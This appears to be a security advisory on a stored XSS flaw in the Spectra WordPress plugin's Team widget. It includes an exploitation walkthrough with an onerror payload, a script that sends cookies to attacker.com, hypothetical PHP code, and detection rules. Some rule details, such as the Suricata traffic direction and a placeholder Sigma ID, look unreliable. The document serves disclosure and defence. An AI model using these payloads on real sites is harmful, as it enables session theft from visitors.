CVE-2024-10484

Executive Summary

CVE-2024-10484 is a Stored Cross-Site Scripting (XSS) vulnerability in the Spectra – WordPress Gutenberg Blocks plugin, affecting all versions up to and including 2.16.2. The flaw resides in the plugin's 'Team' widget, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload. The vulnerability has a CVSS score of 6.4 (Medium), and no public exploit code or patch details are currently available. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and requires immediate attention from site administrators.

Supply Chain & Package Security

This vulnerability is specific to the Spectra WordPress plugin, which is distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress supply chain. Users should monitor the plugin's update channel for a patched version and consider temporarily disabling the 'Team' widget if possible.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the potential for widespread exploitation via stored XSS, which can lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the 'Team' widget of the Spectra plugin. The widget allows users to define team members with attributes such as name, role, description, and social links. The plugin fails to properly sanitize and escape these attributes before rendering them in the HTML output. An attacker with contributor-level access can craft a team member entry containing malicious JavaScript in any of the widget's input fields. When the page is viewed by any user (including administrators), the script executes in the context of the victim's browser.

The root cause is the lack of proper escaping on user-supplied attributes within the widget's rendering function. The plugin likely uses echo or print without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (hypothetical):

// In team-widget.php
echo '<div class="team-member">';
echo '<h3>' . $attributes['name'] . '</h3>';
echo '<p>' . $attributes['description'] . '</p>';
echo '</div>';

Patched Code (hypothetical):

// In team-widget.php
echo '<div class="team-member">';
echo '<h3>' . esc_html( $attributes['name'] ) . '</h3>';
echo '<p>' . wp_kses_post( $attributes['description'] ) . '</p>';
echo '</div>';

The patched version uses esc_html() for plain text and wp_kses_post() for rich text to prevent script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Spectra plugin <= 2.16.2
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new page or edit an existing one.
3. Add the 'Team' widget from the Spectra block library.
4. In the 'Name' field, inject the following payload:

   <img src=x onerror=alert('XSS')>
   

5. Save the page.
6. When any user (including admin) visits the page, the JavaScript executes.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection Steps:

1. Monitor for unusual JavaScript execution in the 'Team' widget context.
2. Review recent page edits by contributor-level users for suspicious HTML/JS in team member fields.
3. Use the YARA and Sigma rules below to scan logs and files.

Mitigation:

• Disable the 'Team' widget until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Presence of <script> tags or event handlers (e.g., onerror, onload) in the wp_postmeta table for pages containing the 'Team' widget.
  • Modified files in /wp-content/plugins/spectra/ (though the vulnerability is in the plugin's logic, not file modification).

• Network-based IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Unusual JavaScript files loaded from external sources.

• Log-based IOCs:

  • WordPress audit logs showing creation/editing of pages with the 'Team' widget by contributor-level users.
  • Web server logs containing XSS payloads in POST data to wp-admin/admin-ajax.php or page save endpoints.

Detection Engineering

YARA Rule

rule detect_spectra_xss_payload {
    meta:
        description = "Detects XSS payloads targeting Spectra Team widget"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10484"
    strings:
        $xss1 = /<[^>]*\s+on\w+\s*=\s*['"][^'"]*['"]/i
        $xss2 = /<script[\s>]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Spectra Team Widget XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in Spectra plugin Team widget
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=spectra_team_save'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in team member bios
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10484 Spectra Team Widget XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=spectra_team_save"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the 'Team' widget in Spectra plugin settings or remove the plugin entirely until a patch is released.
2. Short-term: Restrict contributor-level access to only trusted users. Implement a WAF rule to block XSS payloads in POST requests to admin-ajax.php.
3. Long-term: Monitor the Spectra plugin repository for a patched version (>= 2.16.3). Apply the update as soon as it becomes available.
4. Verification: After patching, review all pages using the 'Team' widget for any injected scripts and remove them.

Valters IT
Securing Digital Frontiers